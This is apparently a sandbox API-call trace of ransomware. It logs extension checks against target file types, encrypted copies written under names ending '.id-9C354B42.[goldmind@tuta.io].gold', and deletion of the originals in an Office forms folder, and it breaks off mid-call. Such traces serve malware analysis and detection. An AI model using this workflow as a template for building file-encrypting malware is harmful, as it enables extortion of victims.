[0116.297] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0116.297] lstrlenW (lpString=".docx") returned 5 [0116.297] lstrcmpiW (lpString1=".docx", lpString2="L.ICO") returned -1 [0116.297] lstrlenW (lpString=".pdf") returned 4 [0116.297] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0116.297] lstrlenW (lpString=".xls") returned 4 [0116.297] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0116.297] lstrlenW (lpString=".xlsx") returned 5 [0116.297] lstrcmpiW (lpString1=".xlsx", lpString2="L.ICO") returned -1 [0116.298] lstrlenW (lpString=".ppt") returned 4 [0116.298] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0116.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECURL.ICO") returned 64 [0116.298] lstrlenW (lpString=".zip") returned 4 [0116.298] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0116.298] lstrlenW (lpString=".rar") returned 4 [0116.298] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0116.298] lstrlenW (lpString=".bz2") returned 4 [0116.298] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0116.298] lstrlenW (lpString=".7z") returned 3 [0116.298] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0116.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECURL.ICO") returned 64 [0116.298] lstrlenW (lpString=".dbf") returned 4 [0116.298] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0116.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECURL.ICO") returned 64 [0116.298] lstrlenW (lpString=".1cd") returned 4 [0116.298] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0116.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECURL.ICO") returned 64 [0116.298] lstrlenW (lpString=".jpg") returned 4 [0116.298] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0116.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECURL.ICO") returned 64 [0116.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECURL.ICO") returned 64 [0116.298] lstrlenW (lpString=".doc") returned 4 [0116.298] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0116.298] lstrlenW (lpString=".docx") returned 5 [0116.298] lstrcmpiW (lpString1=".docx", lpString2="L.ICO") returned -1 [0116.298] lstrlenW (lpString=".pdf") returned 4 [0116.298] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0116.298] lstrlenW (lpString=".xls") returned 4 [0116.298] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0116.298] lstrlenW (lpString=".xlsx") returned 5 [0116.298] lstrcmpiW (lpString1=".xlsx", lpString2="L.ICO") returned -1 [0116.298] lstrlenW (lpString=".ppt") returned 4 [0116.298] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0116.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECURL.ICO") returned 64 [0116.298] lstrlenW (lpString=".zip") returned 4 [0116.298] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0116.298] lstrlenW (lpString=".rar") returned 4 [0116.298] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0116.298] lstrlenW (lpString=".bz2") returned 4 [0116.298] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0116.298] lstrlenW (lpString=".7z") returned 3 [0116.298] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0116.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECURL.ICO") returned 64 [0116.298] lstrlenW (lpString=".dbf") returned 4 [0116.298] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0116.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECURL.ICO") returned 64 [0116.298] lstrlenW (lpString=".1cd") returned 4 [0116.298] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0116.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECURL.ICO") returned 64 [0116.298] lstrlenW (lpString=".jpg") returned 4 [0116.298] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0116.299] lstrcmpiW (lpString1=".ICO", lpString2=".gold") returned 1 [0116.299] lstrlenW (lpString="TASKDECS.ICO") returned 12 [0116.299] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKDECS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskdecs.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0116.299] GetFileSizeEx (in: hFile=0x3d0, lpFileSize=0x351ff1c | out: lpFileSize=0x351ff1c*=2998) returned 1 [0116.299] CloseHandle (hObject=0x3d0) returned 1 [0116.299] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKDECS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskdecs.ico")) returned 0x20 [0116.299] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKDECS.ICO.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskdecs.ico.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0116.300] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKDECS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskdecs.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0116.300] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0116.300] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0116.300] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKDECS.ICO.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskdecs.ico.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0116.301] GetLastError () returned 0x0 [0116.301] ReadFile (in: hFile=0x3d0, lpBuffer=0x3f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesRead=0x351fed4*=0xbb6, lpOverlapped=0x0) returned 1 [0116.302] WriteFile (in: hFile=0x230, lpBuffer=0x3f00020*, nNumberOfBytesToWrite=0xbc0, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesWritten=0x351fc9c*=0xbc0, lpOverlapped=0x0) returned 1 [0116.302] ReadFile (in: hFile=0x3d0, lpBuffer=0x3f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesRead=0x351fed4*=0x0, lpOverlapped=0x0) returned 1 [0116.303] WriteFile (in: hFile=0x230, lpBuffer=0x3f00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesWritten=0x351fc9c*=0xec, lpOverlapped=0x0) returned 1 [0116.303] SetEndOfFile (hFile=0x230) returned 1 [0116.303] CloseHandle (hObject=0x230) returned 1 [0116.303] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0116.303] SetEndOfFile (hFile=0x3d0) returned 1 [0116.304] CloseHandle (hObject=0x3d0) returned 1 [0116.305] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKDECS.ICO.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0116.305] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKDECS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskdecs.ico")) returned 1 [0116.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKDECS.ICO") returned 66 [0116.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKDECS.ICO") returned 66 [0116.306] lstrlenW (lpString=".doc") returned 4 [0116.306] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0116.306] lstrlenW (lpString=".docx") returned 5 [0116.306] lstrcmpiW (lpString1=".docx", lpString2="S.ICO") returned -1 [0116.306] lstrlenW (lpString=".pdf") returned 4 [0116.306] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0116.306] lstrlenW (lpString=".xls") returned 4 [0116.306] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0116.306] lstrlenW (lpString=".xlsx") returned 5 [0116.306] lstrcmpiW (lpString1=".xlsx", lpString2="S.ICO") returned -1 [0116.306] lstrlenW (lpString=".ppt") returned 4 [0116.306] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0116.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKDECS.ICO") returned 66 [0116.306] lstrlenW (lpString=".zip") returned 4 [0116.306] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0116.306] lstrlenW (lpString=".rar") returned 4 [0116.306] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0116.306] lstrlenW (lpString=".bz2") returned 4 [0116.306] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0116.306] lstrlenW (lpString=".7z") returned 3 [0116.306] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0116.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKDECS.ICO") returned 66 [0116.306] lstrlenW (lpString=".dbf") returned 4 [0116.306] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0116.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKDECS.ICO") returned 66 [0116.306] lstrlenW (lpString=".1cd") returned 4 [0116.306] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0116.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKDECS.ICO") returned 66 [0116.306] lstrlenW (lpString=".jpg") returned 4 [0116.306] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0116.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKDECS.ICO") returned 66 [0116.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKDECS.ICO") returned 66 [0116.306] lstrlenW (lpString=".doc") returned 4 [0116.306] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0116.306] lstrlenW (lpString=".docx") returned 5 [0116.306] lstrcmpiW (lpString1=".docx", lpString2="S.ICO") returned -1 [0116.307] lstrlenW (lpString=".pdf") returned 4 [0116.307] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0116.307] lstrlenW (lpString=".xls") returned 4 [0116.307] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0116.307] lstrlenW (lpString=".xlsx") returned 5 [0116.307] lstrcmpiW (lpString1=".xlsx", lpString2="S.ICO") returned -1 [0116.307] lstrlenW (lpString=".ppt") returned 4 [0116.307] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0116.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKDECS.ICO") returned 66 [0116.307] lstrlenW (lpString=".zip") returned 4 [0116.307] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0116.307] lstrlenW (lpString=".rar") returned 4 [0116.307] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0116.307] lstrlenW (lpString=".bz2") returned 4 [0116.307] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0116.307] lstrlenW (lpString=".7z") returned 3 [0116.307] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0116.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKDECS.ICO") returned 66 [0116.307] lstrlenW (lpString=".dbf") returned 4 [0116.307] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0116.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKDECS.ICO") returned 66 [0116.307] lstrlenW (lpString=".1cd") returned 4 [0116.307] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0116.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKDECS.ICO") returned 66 [0116.307] lstrlenW (lpString=".jpg") returned 4 [0116.307] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0116.307] lstrcmpiW (lpString1=".ICO", lpString2=".gold") returned 1 [0116.307] lstrlenW (lpString="TASKL.ICO") returned 9 [0116.307] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskl.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0116.308] GetFileSizeEx (in: hFile=0x3d0, lpFileSize=0x351ff1c | out: lpFileSize=0x351ff1c*=1078) returned 1 [0116.308] CloseHandle (hObject=0x3d0) returned 1 [0116.308] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskl.ico")) returned 0x20 [0116.308] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKL.ICO.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskl.ico.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0116.308] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskl.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0116.308] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0116.308] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0116.308] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKL.ICO.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskl.ico.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0116.309] GetLastError () returned 0x0 [0116.309] ReadFile (in: hFile=0x3d0, lpBuffer=0x3f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesRead=0x351fed4*=0x436, lpOverlapped=0x0) returned 1 [0116.310] WriteFile (in: hFile=0x230, lpBuffer=0x3f00020*, nNumberOfBytesToWrite=0x440, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesWritten=0x351fc9c*=0x440, lpOverlapped=0x0) returned 1 [0116.311] ReadFile (in: hFile=0x3d0, lpBuffer=0x3f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesRead=0x351fed4*=0x0, lpOverlapped=0x0) returned 1 [0116.311] WriteFile (in: hFile=0x230, lpBuffer=0x3f00020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesWritten=0x351fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0116.312] SetEndOfFile (hFile=0x230) returned 1 [0116.312] CloseHandle (hObject=0x230) returned 1 [0116.312] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0116.312] SetEndOfFile (hFile=0x3d0) returned 1 [0116.313] CloseHandle (hObject=0x3d0) returned 1 [0116.313] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKL.ICO.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0116.314] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskl.ico")) returned 1 [0116.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKL.ICO") returned 63 [0116.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKL.ICO") returned 63 [0116.315] lstrlenW (lpString=".doc") returned 4 [0116.315] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0116.315] lstrlenW (lpString=".docx") returned 5 [0116.315] lstrcmpiW (lpString1=".docx", lpString2="L.ICO") returned -1 [0116.315] lstrlenW (lpString=".pdf") returned 4 [0116.315] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0116.315] lstrlenW (lpString=".xls") returned 4 [0116.315] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0116.315] lstrlenW (lpString=".xlsx") returned 5 [0116.315] lstrcmpiW (lpString1=".xlsx", lpString2="L.ICO") returned -1 [0116.315] lstrlenW (lpString=".ppt") returned 4 [0116.315] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0116.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKL.ICO") returned 63 [0116.315] lstrlenW (lpString=".zip") returned 4 [0116.315] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0116.315] lstrlenW (lpString=".rar") returned 4 [0116.315] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0116.315] lstrlenW (lpString=".bz2") returned 4 [0116.315] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0116.315] lstrlenW (lpString=".7z") returned 3 [0116.315] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0116.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKL.ICO") returned 63 [0116.315] lstrlenW (lpString=".dbf") returned 4 [0116.315] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0116.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKL.ICO") returned 63 [0116.315] lstrlenW (lpString=".1cd") returned 4 [0116.315] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0116.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKL.ICO") returned 63 [0116.315] lstrlenW (lpString=".jpg") returned 4 [0116.315] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0116.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKL.ICO") returned 63 [0116.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKL.ICO") returned 63 [0116.315] lstrlenW (lpString=".doc") returned 4 [0116.315] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0116.315] lstrlenW (lpString=".docx") returned 5 [0116.315] lstrcmpiW (lpString1=".docx", lpString2="L.ICO") returned -1 [0116.315] lstrlenW (lpString=".pdf") returned 4 [0116.315] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0116.315] lstrlenW (lpString=".xls") returned 4 [0116.315] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0116.315] lstrlenW (lpString=".xlsx") returned 5 [0116.315] lstrcmpiW (lpString1=".xlsx", lpString2="L.ICO") returned -1 [0116.315] lstrlenW (lpString=".ppt") returned 4 [0116.315] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0116.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKL.ICO") returned 63 [0116.315] lstrlenW (lpString=".zip") returned 4 [0116.316] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0116.316] lstrlenW (lpString=".rar") returned 4 [0116.316] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0116.316] lstrlenW (lpString=".bz2") returned 4 [0116.316] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0116.316] lstrlenW (lpString=".7z") returned 3 [0116.316] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0116.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKL.ICO") returned 63 [0116.316] lstrlenW (lpString=".dbf") returned 4 [0116.316] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0116.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKL.ICO") returned 63 [0116.316] lstrlenW (lpString=".1cd") returned 4 [0116.316] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0116.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKL.ICO") returned 63 [0116.316] lstrlenW (lpString=".jpg") returned 4 [0116.316] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0116.316] lstrcmpiW (lpString1=".CFG", lpString2=".gold") returned -1 [0116.316] lstrlenW (lpString="TASKREQ.CFG") returned 11 [0116.316] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKREQ.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskreq.cfg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0116.317] GetFileSizeEx (in: hFile=0x3d0, lpFileSize=0x351ff1c | out: lpFileSize=0x351ff1c*=797) returned 1 [0116.317] CloseHandle (hObject=0x3d0) returned 1 [0116.317] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKREQ.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskreq.cfg")) returned 0x20 [0116.317] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKREQ.CFG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskreq.cfg.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0116.318] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKREQ.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskreq.cfg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0116.318] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0116.318] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0116.318] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKREQ.CFG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskreq.cfg.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0116.319] GetLastError () returned 0x0 [0116.319] ReadFile (in: hFile=0x3d0, lpBuffer=0x3f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesRead=0x351fed4*=0x31d, lpOverlapped=0x0) returned 1 [0116.320] WriteFile (in: hFile=0x230, lpBuffer=0x3f00020*, nNumberOfBytesToWrite=0x320, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesWritten=0x351fc9c*=0x320, lpOverlapped=0x0) returned 1 [0116.320] ReadFile (in: hFile=0x3d0, lpBuffer=0x3f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesRead=0x351fed4*=0x0, lpOverlapped=0x0) returned 1 [0116.320] WriteFile (in: hFile=0x230, lpBuffer=0x3f00020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesWritten=0x351fc9c*=0xea, lpOverlapped=0x0) returned 1 [0116.321] SetEndOfFile (hFile=0x230) returned 1 [0116.321] CloseHandle (hObject=0x230) returned 1 [0116.321] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0116.321] SetEndOfFile (hFile=0x3d0) returned 1 [0116.323] CloseHandle (hObject=0x3d0) returned 1 [0116.323] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKREQ.CFG.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0116.323] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKREQ.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskreq.cfg")) returned 1 [0116.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKREQ.CFG") returned 65 [0116.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKREQ.CFG") returned 65 [0116.324] lstrlenW (lpString=".doc") returned 4 [0116.324] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0116.324] lstrlenW (lpString=".docx") returned 5 [0116.324] lstrcmpiW (lpString1=".docx", lpString2="Q.CFG") returned -1 [0116.324] lstrlenW (lpString=".pdf") returned 4 [0116.324] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0116.324] lstrlenW (lpString=".xls") returned 4 [0116.324] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0116.324] lstrlenW (lpString=".xlsx") returned 5 [0116.324] lstrcmpiW (lpString1=".xlsx", lpString2="Q.CFG") returned -1 [0116.324] lstrlenW (lpString=".ppt") returned 4 [0116.324] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0116.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKREQ.CFG") returned 65 [0116.324] lstrlenW (lpString=".zip") returned 4 [0116.325] lstrcmpiW 